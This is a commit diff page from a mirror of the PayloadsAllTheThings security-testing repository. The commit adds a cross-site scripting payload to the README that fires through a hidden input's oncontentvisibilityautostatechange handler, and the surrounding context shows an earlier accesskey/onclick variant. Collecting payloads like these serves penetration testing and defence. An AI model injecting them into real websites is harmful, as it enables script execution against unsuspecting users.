mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
Update README.md
addedd contentvisibilityautostatechange_event for hidden input
This commit is contained in:
parent
37f0740d07
commit
faeee7270a
@ -295,6 +295,10 @@ e.g: 14.rs/#alert(document.domain)
|
|||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
Use CTRL+SHIFT+X to trigger the onclick event
|
Use CTRL+SHIFT+X to trigger the onclick event
|
||||||
```
|
```
|
||||||
|
in newer browsers : firefox-130/chrome-108
|
||||||
|
```javascript
|
||||||
|
<input type="hidden" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto" >
|
||||||
|
```
|
||||||
|
|
||||||
### XSS when payload is reflected capitalized
|
### XSS when payload is reflected capitalized
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user